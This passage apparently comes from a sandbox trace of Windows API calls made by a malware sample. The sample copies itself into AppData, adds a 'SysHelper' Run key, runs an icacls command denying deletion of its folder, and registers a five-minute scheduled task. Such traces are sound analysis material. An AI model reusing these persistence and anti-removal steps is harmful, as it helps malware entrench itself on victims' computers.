HALPmcxz\\AppData\\Local\\23aa8f91-8e4c-4e01-8a6f-bd3657c0ac36", pMore="zxkgxn.exe" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\23aa8f91-8e4c-4e01-8a6f-bd3657c0ac36\\zxkgxn.exe") returned 1 [0044.816] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\23aa8f91-8e4c-4e01-8a6f-bd3657c0ac36\\zxkgxn.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\23aa8f91-8e4c-4e01-8a6f-bd3657c0ac36\\zxkgxn.exe")) returned 0 [0044.816] CopyFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zxkgxn.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zxkgxn.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\23aa8f91-8e4c-4e01-8a6f-bd3657c0ac36\\zxkgxn.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\23aa8f91-8e4c-4e01-8a6f-bd3657c0ac36\\zxkgxn.exe"), bFailIfExists=0) returned 1 [0044.851] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0xf003f, phkResult=0x18c754 | out: phkResult=0x18c754*=0x5bc) returned 0x0 [0044.851] lstrcpyW (in: lpString1=0x18b678, lpString2="\"" | out: lpString1="\"") returned="\"" [0044.851] lstrcatW (in: lpString1="\"", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\23aa8f91-8e4c-4e01-8a6f-bd3657c0ac36\\zxkgxn.exe" | out: lpString1="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\23aa8f91-8e4c-4e01-8a6f-bd3657c0ac36\\zxkgxn.exe") returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\23aa8f91-8e4c-4e01-8a6f-bd3657c0ac36\\zxkgxn.exe" [0044.851] lstrcatW (in: lpString1="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\23aa8f91-8e4c-4e01-8a6f-bd3657c0ac36\\zxkgxn.exe", lpString2="\" --AutoStart" | out: lpString1="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\23aa8f91-8e4c-4e01-8a6f-bd3657c0ac36\\zxkgxn.exe\" --AutoStart") returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\23aa8f91-8e4c-4e01-8a6f-bd3657c0ac36\\zxkgxn.exe\" --AutoStart" [0044.851] lstrlenW (lpString="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\23aa8f91-8e4c-4e01-8a6f-bd3657c0ac36\\zxkgxn.exe\" --AutoStart") returned 105 [0044.851] RegSetValueExW (in: hKey=0x5bc, lpValueName="SysHelper", Reserved=0x0, dwType=0x2, lpData="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\23aa8f91-8e4c-4e01-8a6f-bd3657c0ac36\\zxkgxn.exe\" --AutoStart", cbData=0xd2 | out: lpData="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\23aa8f91-8e4c-4e01-8a6f-bd3657c0ac36\\zxkgxn.exe\" --AutoStart") returned 0x0 [0044.851] RegCloseKey (hKey=0x5bc) returned 0x0 [0044.851] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0xc0) returned 0x31304e8 [0044.851] SetLastError (dwErrCode=0x0) [0044.851] lstrcpyW (in: lpString1=0x189678, lpString2="icacls \"" | out: lpString1="icacls \"") returned="icacls \"" [0044.851] lstrcatW (in: lpString1="icacls \"", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\23aa8f91-8e4c-4e01-8a6f-bd3657c0ac36" | out: lpString1="icacls \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\23aa8f91-8e4c-4e01-8a6f-bd3657c0ac36") returned="icacls \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\23aa8f91-8e4c-4e01-8a6f-bd3657c0ac36" [0044.851] lstrcatW (in: lpString1="icacls \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\23aa8f91-8e4c-4e01-8a6f-bd3657c0ac36", lpString2="\" /deny *S-1-1-0:(OI)(CI)(DE,DC)" | out: lpString1="icacls \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\23aa8f91-8e4c-4e01-8a6f-bd3657c0ac36\" /deny *S-1-1-0:(OI)(CI)(DE,DC)") returned="icacls \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\23aa8f91-8e4c-4e01-8a6f-bd3657c0ac36\" /deny *S-1-1-0:(OI)(CI)(DE,DC)" [0044.851] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="icacls \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\23aa8f91-8e4c-4e01-8a6f-bd3657c0ac36\" /deny *S-1-1-0:(OI)(CI)(DE,DC)", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x48, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18c678*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18c6d4 | out: lpCommandLine="icacls \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\23aa8f91-8e4c-4e01-8a6f-bd3657c0ac36\" /deny *S-1-1-0:(OI)(CI)(DE,DC)", lpProcessInformation=0x18c6d4*(hProcess=0x5b8, hThread=0x5bc, dwProcessId=0xb00, dwThreadId=0xb04)) returned 1 [0044.862] WaitForSingleObject (hHandle=0x5b8, dwMilliseconds=0x1) returned 0x102 [0044.870] WaitForSingleObject (hHandle=0x5b8, dwMilliseconds=0x1) returned 0x102 [0044.885] WaitForSingleObject (hHandle=0x5b8, dwMilliseconds=0x1) returned 0x102 [0044.901] WaitForSingleObject (hHandle=0x5b8, dwMilliseconds=0x1) returned 0x102 [0044.917] WaitForSingleObject (hHandle=0x5b8, dwMilliseconds=0x1) returned 0x102 [0044.932] WaitForSingleObject (hHandle=0x5b8, dwMilliseconds=0x1) returned 0x102 [0045.040] WaitForSingleObject (hHandle=0x5b8, dwMilliseconds=0x1) returned 0x102 [0045.042] WaitForSingleObject (hHandle=0x5b8, dwMilliseconds=0x1) returned 0x102 [0045.057] WaitForSingleObject (hHandle=0x5b8, dwMilliseconds=0x1) returned 0x102 [0045.073] WaitForSingleObject (hHandle=0x5b8, dwMilliseconds=0x1) returned 0x102 [0045.089] WaitForSingleObject (hHandle=0x5b8, dwMilliseconds=0x1) returned 0x0 [0045.095] HeapFree (in: hHeap=0x620000, dwFlags=0x0, lpMem=0x30de2c8 | out: hHeap=0x620000) returned 1 [0045.095] HeapFree (in: hHeap=0x620000, dwFlags=0x0, lpMem=0x311f150 | out: hHeap=0x620000) returned 1 [0045.095] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0xc0) returned 0x31305b0 [0045.095] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0xc0) returned 0x3130678 [0045.095] CoInitialize (pvReserved=0x0) returned 0x0 [0045.376] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x80010119 [0045.377] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0xc0) returned 0x3130740 [0045.377] CoCreateInstance (in: rclsid=0x44ffcc*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x44ff4c*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x18c73c | out: ppv=0x18c73c*=0x27f0b00) returned 0x0 [0045.499] TaskScheduler:ITaskService:Connect (This=0x27f0b00, serverName=0x18c1c8*(varType=0x0, wReserved1=0x7715, wReserved2=0xe0d2, wReserved3=0x7715, varVal1=0x5f, varVal2=0xc0), user=0x18c1d8*(varType=0x0, wReserved1=0x0, wReserved2=0x2, wReserved3=0x0, varVal1=0x0, varVal2=0xc8), domain=0x18c1e8*(varType=0x0, wReserved1=0x0, wReserved2=0xc0, wReserved3=0x0, varVal1=0x5f, varVal2=0x7), password=0x18c1f8*(varType=0x0, wReserved1=0x313, wReserved2=0xc6e4, wReserved3=0x18, varVal1=0x41720b, varVal2=0x620000)) returned 0x0 [0045.501] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0xc) returned 0x3122350 [0045.501] TaskScheduler:ITaskService:GetFolder (in: This=0x27f0b00, Path="\\", ppFolder=0x18c744 | out: ppFolder=0x18c744*=0x8fff98) returned 0x0 [0045.502] HeapFree (in: hHeap=0x620000, dwFlags=0x0, lpMem=0x3122350 | out: hHeap=0x620000) returned 1 [0045.502] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0xc) returned 0x3122350 [0045.502] ITaskFolder:DeleteTask (This=0x8fff98, Name="Time Trigger Task", flags=0) returned 0x80070002 [0045.503] HeapFree (in: hHeap=0x620000, dwFlags=0x0, lpMem=0x3122350 | out: hHeap=0x620000) returned 1 [0045.503] TaskScheduler:ITaskService:NewTask (in: This=0x27f0b00, flags=0x0, ppDefinition=0x18c748 | out: ppDefinition=0x18c748*=0x27f0b88) returned 0x0 [0045.505] TaskScheduler:IUnknown:Release (This=0x27f0b00) returned 0x1 [0045.505] ITaskDefinition:get_RegistrationInfo (in: This=0x27f0b88, ppRegistrationInfo=0x18c71c | out: ppRegistrationInfo=0x18c71c*=0x27f0c48) returned 0x0 [0045.505] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0xc) returned 0x3122380 [0045.505] IRegistrationInfo:put_Author (This=0x27f0c48, Author="Author Name") returned 0x0 [0045.505] HeapFree (in: hHeap=0x620000, dwFlags=0x0, lpMem=0x3122380 | out: hHeap=0x620000) returned 1 [0045.505] IUnknown:Release (This=0x27f0c48) returned 0x1 [0045.505] ITaskDefinition:get_Principal (in: This=0x27f0b88, ppPrincipal=0x18c724 | out: ppPrincipal=0x18c724*=0x27f0dd8) returned 0x0 [0045.505] IPrincipal:put_LogonType (This=0x27f0dd8, LogonType=3) returned 0x0 [0045.505] IUnknown:Release (This=0x27f0dd8) returned 0x1 [0045.505] ITaskDefinition:get_Settings (in: This=0x27f0b88, ppSettings=0x18c72c | out: ppSettings=0x18c72c*=0x27f0cf8) returned 0x0 [0045.505] ITaskSettings:put_StartWhenAvailable (This=0x27f0cf8, StartWhenAvailable=1) returned 0x0 [0045.505] IUnknown:Release (This=0x27f0cf8) returned 0x1 [0045.506] ITaskSettings:get_IdleSettings (in: This=0x27f0cf8, ppIdleSettings=0x18c710 | out: ppIdleSettings=0x18c710*=0x27f0d68) returned 0x0 [0045.506] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0xc) returned 0x3122380 [0045.506] IIdleSettings:put_WaitTimeout (This=0x27f0d68, WaitTimeout="PT5M") returned 0x0 [0045.506] HeapFree (in: hHeap=0x620000, dwFlags=0x0, lpMem=0x3122380 | out: hHeap=0x620000) returned 1 [0045.506] IUnknown:Release (This=0x27f0d68) returned 0x1 [0045.506] ITaskDefinition:get_Triggers (in: This=0x27f0b88, ppTriggers=0x18c70c | out: ppTriggers=0x18c70c*=0x27f0cb8) returned 0x0 [0045.506] ITriggerCollection:Create (in: This=0x27f0cb8, Type=1, ppTrigger=0x18c718 | out: ppTrigger=0x18c718*=0x27f0e38) returned 0x0 [0045.506] IUnknown:Release (This=0x27f0cb8) returned 0x1 [0045.506] IUnknown:QueryInterface (in: This=0x27f0e38, riid=0x45004c*(Data1=0xb45747e0, Data2=0xeba7, Data3=0x4276, Data4=([0]=0x9f, [1]=0x29, [2]=0x85, [3]=0xc5, [4]=0xbb, [5]=0x30, [6]=0x0, [7]=0x6)), ppvObject=0x18c734 | out: ppvObject=0x18c734*=0x27f0e38) returned 0x0 [0045.506] IUnknown:Release (This=0x27f0e38) returned 0x2 [0045.506] ITrigger:get_Repetition (in: This=0x27f0e38, ppRepeat=0x18c720 | out: ppRepeat=0x18c720*=0x27f0e88) returned 0x0 [0045.506] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0xc) returned 0x3122380 [0045.506] IRepetitionPattern:put_Interval (This=0x27f0e88, Interval="PT5M") returned 0x0 [0045.506] HeapFree (in: hHeap=0x620000, dwFlags=0x0, lpMem=0x3122380 | out: hHeap=0x620000) returned 1 [0045.506] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0xc) returned 0x3122380 [0045.506] IRepetitionPattern:put_Duration (This=0x27f0e88, Duration="") returned 0x0 [0045.507] HeapFree (in: hHeap=0x620000, dwFlags=0x0, lpMem=0x3122380 | out: hHeap=0x620000) returned 1 [0045.508] ITrigger:put_Repetition (This=0x27f0e38, Repetition=0x27f0e88) returned 0x0 [0045.508] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0xc) returned 0x3122380 [0045.508] ITrigger:put_Id (This=0x27f0e38, Id="Trigger1") returned 0x0 [0045.508] HeapFree (in: hHeap=0x620000, dwFlags=0x0, lpMem=0x3122380 | out: hHeap=0x620000) returned 1 [0045.508] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0xc) returned 0x3122380 [0045.508] ITrigger:put_EndBoundary (This=0x27f0e38, EndBoundary="2030-05-02T08:00:00") returned 0x0 [0045.508] HeapFree (in: hHeap=0x620000, dwFlags=0x0, lpMem=0x3122380 | out: hHeap=0x620000) returned 1 [0045.508] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18c1f4 | out: lpSystemTimeAsFileTime=0x18c1f4*(dwLowDateTime=0x642733f0, dwHighDateTime=0x1d52f22)) [0045.509] GetLastError () returned 0x0 [0045.509] SetLastError (dwErrCode=0x0) [0045.509] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0x24) returned 0x3152c38 [0045.509] GetLastError () returned 0x0 [0045.509] SetLastError (dwErrCode=0x0) [0045.509] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0045.509] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x1f) returned 0x31576d8 [0045.509] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x31576d8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 31 [0045.509] GetLastError () returned 0x0 [0045.509] SetLastError (dwErrCode=0x0) [0045.509] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0x4) returned 0x30ca130 [0045.509] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x30ca130) returned 0x4 [0045.509] RtlReAllocateHeap (Heap=0x620000, Flags=0x0, Ptr=0x30ca130, Size=0x8) returned 0x30ca160 [0045.509] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 54 [0045.509] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x36) returned 0x6d6648 [0045.509] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", cchWideChar=-1, lpMultiByteStr=0x6d6648, cbMultiByte=54, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", lpUsedDefaultChar=0x0) returned 54 [0045.509] GetLastError () returned 0x0 [0045.509] SetLastError (dwErrCode=0x0) [0045.509] GetLastError () returned 0x0 [0045.509] SetLastError (dwErrCode=0x0) [0045.509] GetLastError () returned 0x0 [0045.509] SetLastError (dwErrCode=0x0) [0045.509] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x30ca160) returned 0x8 [0045.509] RtlReAllocateHeap (Heap=0x620000, Flags=0x0, Ptr=0x30ca160, Size=0xc) returned 0x3122380 [0045.509] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramFiles=C:\\Program Files (x86)\\Common Files", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 55 [0045.509] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x37) returned 0x3149ee0 [0045.509] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramFiles=C:\\Program Files (x86)\\Common Files", cchWideChar=-1, lpMultiByteStr=0x3149ee0, cbMultiByte=55, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CommonProgramFiles=C:\\Program Files (x86)\\Common Files", lpUsedDefaultChar=0x0) returned 55 [0045.509] GetLastError () returned 0x0 [0045.510] SetLastError (dwErrCode=0x0) [0045.510] GetLastError () returned 0x0 [0045.510] SetLastError (dwErrCode=0x0) [0045.510] GetLastError () returned 0x0 [0045.510] SetLastError (dwErrCode=0x0) [0045.510] GetLastError () returned 0x0 [0045.510] SetLastError (dwErrCode=0x0) [0045.510] GetLastError () returned 0x0 [0045.510] SetLastError (dwErrCode=0x0) [0045.510] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x3122380) returned 0xc [0045.510] RtlReAllocateHeap (Heap=0x620000, Flags=0x0, Ptr=0x3122380, Size=0x10) returned 0x31223b0 [0045.510] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramFiles(x86)=C:\\Program Files (x86)\\Common Files", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 60 [0045.510] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x3c) returned 0x312a5c0 [0045.510] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramFiles(x86)=C:\\Program Files (x86)\\Common Files", cchWideChar=-1, lpMultiByteStr=0x312a5c0, cbMultiByte=60, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CommonProgramFiles(x86)=C:\\Program Files (x86)\\Common Files", lpUsedDefaultChar=0x0) returned 60 [0045.510] GetLastError () returned 0x0 [0045.510] SetLastError (dwErrCode=0x0) [0045.510] GetLastError () returned 0x0 [0045.510] SetLastError (dwErrCode=0x0) [0045.510] GetLastError () returned 0x0 [0045.510] SetLastError (dwErrCode=0x0) [0045.510] GetLastError () returned 0x0 [0045.510] SetLastError (dwErrCode=0x0) [0045.510] GetLastError () returned 0x0 [0045.510] SetLastError (dwErrCode=0x0) [0045.510] GetLastError () returned 0x0 [0045.510] SetLastError (dwErrCode=0x0) [0045.510] GetLastError () returned 0x0 [0045.510] SetLastError (dwErrCode=0x0) [0045.510] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x31223b0) returned 0x10 [0045.510] RtlReAllocateHeap (Heap=0x620000, Flags=0x0, Ptr=0x31223b0, Size=0x14) returned 0x3119bd0 [0045.510] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramW6432=C:\\Program Files\\Common Files", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 49 [0045.510] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x31) returned 0x3149e60 [0045.510] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramW6432=C:\\Program Files\\Common Files", cchWideChar=-1, lpMultiByteStr=0x3149e60, cbMultiByte=49, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CommonProgramW6432=C:\\Program Files\\Common Files", lpUsedDefaultChar=0x0) returned 49 [0045.511] GetLastError () returned 0x0 [0045.511] SetLastError (dwErrCode=0x0) [0045.511] GetLastError () returned 0x0 [0045.511] SetLastError (dwErrCode=0x0) [0045.511] GetLastError () returned 0x0 [0045.511] SetLastError (dwErrCode=0x0) [0045.511] GetLastError () returned 0x0 [0045.511] SetLastError (dwErrCode=0x0) [0045.511] GetLastError () returned 0x0 [0045.511] SetLastError (dwErrCode=0x0) [0045.511] GetLastError () returned 0x0 [0045.511] SetLastError (dwErrCode=0x0) [0045.511] GetLastError () returned 0x0 [0045.511] SetLastError (dwErrCode=0x0) [0045.511] GetLastError () returned 0x0 [0045.511] SetLastError (dwErrCode=0x0) [0045.511] GetLastError () returned 0x0 [0045.511] SetLastError (dwErrCode=0x0) [0045.511] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x3119bd0) returned 0x14 [0045.511] RtlReAllocateHeap (Heap=0x620000, Flags=0x0, Ptr=0x3119bd0, Size=0x18) returned 0x3119ab0 [0045.511] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPUTERNAME=XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0045.511] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x17) returned 0x3119bd0 [0045.511] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPUTERNAME=XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x3119bd0, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMPUTERNAME=XDUWTFONO", lpUsedDefaultChar=0x0) returned 23 [0045.511] GetLastError () returned 0x0 [0045.511] SetLastError (dwErrCode=0x0) [0045.511] GetLastError () returned 0x0 [0045.511] SetLastError (dwErrCode=0x0) [0045.511] GetLastError () returned 0x0 [0045.511] SetLastError (dwErrCode=0x0) [0045.511] GetLastError () returned 0x0 [0045.511] SetLastError (dwErrCode=0x0) [0045.512] GetLastError () returned 0x0 [0045.512] SetLastError (dwErrCode=0x0) [0045.512] GetLastError () returned 0x0 [0045.512] SetLastError (dwErrCode=0x0) [0045.512] GetLastError () returned 0x0 [0045.512] SetLastError (dwErrCode=0x0) [0045.512] GetLastError () returned 0x0 [0045.512] SetLastError (dwErrCode=0x0) [0045.512] GetLastError () returned 0x0 [0045.512] SetLastError (dwErrCode=0x0) [0045.512] GetLastError () returned 0x0 [0045.512] SetLastError (dwErrCode=0x0) [0045.512] GetLastError () returned 0x0 [0045.512] SetLastError (dwErrCode=0x0) [0045.512] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x3119ab0) returned 0x18 [0045.512] RtlReAllocateHeap (Heap=0x620000, Flags=0x0, Ptr=0x3119ab0, Size=0x1c) returned 0x3157700 [0045.512] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ComSpec=C:\\Windows\\system32\\cmd.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0045.512] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x24) returned 0x3152c68 [0045.512] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ComSpec=C:\\Windows\\system32\\cmd.exe", cchWideChar=-1, lpMultiByteStr=0x3152c68, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ComSpec=C:\\Windows\\system32\\cmd.exe", lpUsedDefaultChar=0x0) returned 36 [0045.512] GetLastError () returned 0x0 [0045.512] SetLastError (dwErrCode=0x0) [0045.512] GetLastError () returned 0x0 [0045.512] SetLastError (dwErrCode=0x0) [0045.512] GetLastError () returned 0x0 [0045.512] SetLastError (dwErrCode=0x0) [0045.512] GetLastError () returned 0x0 [0045.512] SetLastError (dwErrCode=0x0) [0045.512] GetLastError () returned 0x0 [0045.512] SetLastError (dwErrCode=0x0) [0045.512] GetLastError () returned 0x0 [0045.512] SetLastError (dwErrCode=0x0) [0045.512] GetLastError () returned 0x0 [0045.513] SetLastError (dwErrCode=0x0) [0045.513] GetLastError () returned 0x0 [0045.513] SetLastError (dwErrCode=0x0) [0045.513] GetLastError () returned 0x0 [0045.513] SetLastError (dwErrCode=0x0) [0045.513] GetLastError () returned 0x0 [0045.513] SetLastError (dwErrCode=0x0) [0045.513] GetLastError () returned 0x0 [0045.513] SetLastError (dwErrCode=0x0) [0045.513] GetLastError () returned 0x0 [0045.513] SetLastError (dwErrCode=0x0) [0045.513] GetLastError () returned 0x0 [0045.513] SetLastError (dwErrCode=0x0) [0045.513] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x3157700) returned 0x1c [0045.513] RtlReAllocateHeap (Heap=0x620000, Flags=0x0, Ptr=0x3157700, Size=0x20) returned 0x3157728 [0045.513] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="FP_NO_HOST_CHECK=NO", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0045.513] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x14) returned 0x3119ab0 [0045.513] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="FP_NO_HOST_CHECK=NO", cchWideChar=-1, lpMultiByteStr=0x3119ab0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="FP_NO_HOST_CHECK=NO", lpUsedDefaultChar=0x0) returned 20 [0045.513] GetLastError () returned 0x0 [0045.513] SetLastError (dwErrCode=0x0) [0045.513] GetLastError () returned 0x0 [0045.513] SetLastError (dwErrCode=0x0) [0045.513] GetLastError () returned 0x0 [0045.513] SetLastError (dwErrCode=0x0) [0045.513] GetLastError () returned 0x0 [0045.513] SetLastError (dwErrCode=0x0) [0045.513] GetLastError () returned 0x0 [0045.513] SetLastError (dwErrCode=0x0) [0045.513] GetLastError () returned 0x0 [0045.513] SetLastError (dwErrCode=0x0) [0045.513] GetLastError () returned 0x0 [0045.513] SetLastError (dwErrCode=0x0) [0045.514] GetLastError () returned 0x0 [0045.514] SetLastError (dwErrCode=0x0) [0045.514] GetLastError () returned 0x0 [0045.514] SetLastError (dwErrCode=0x0) [0045.514] GetLastError () returned 0x0 [0045.514] SetLastError (dwErrCode=0x0) [0045.514] GetLastError () returned 0x0 [0045.514] SetLastError (dwErrCode=0x0) [0045.514] GetLastError () returned 0x0 [0045.514] SetLastError (dwErrCode=0x0) [0045.514] GetLastError () returned 0x0 [0045.514] SetLastError (dwErrCode=0x0) [0045.514] GetLastError () returned 0x0 [0045.514] SetLastError (dwErrCode=0x0) [0045.514] GetLastError () returned 0x0 [0045.514] SetLastError (dwErrCode=0x0) [0045.514] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x3157728) returned 0x20 [0045.514] RtlReAllocateHeap (Heap=0x620000, Flags=0x0, Ptr=0x3157728, Size=0x24) returned 0x3152e18 [0045.514] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HOMEDRIVE=C:", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0045.514] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0xd) returned 0x31223b0 [0045.514] 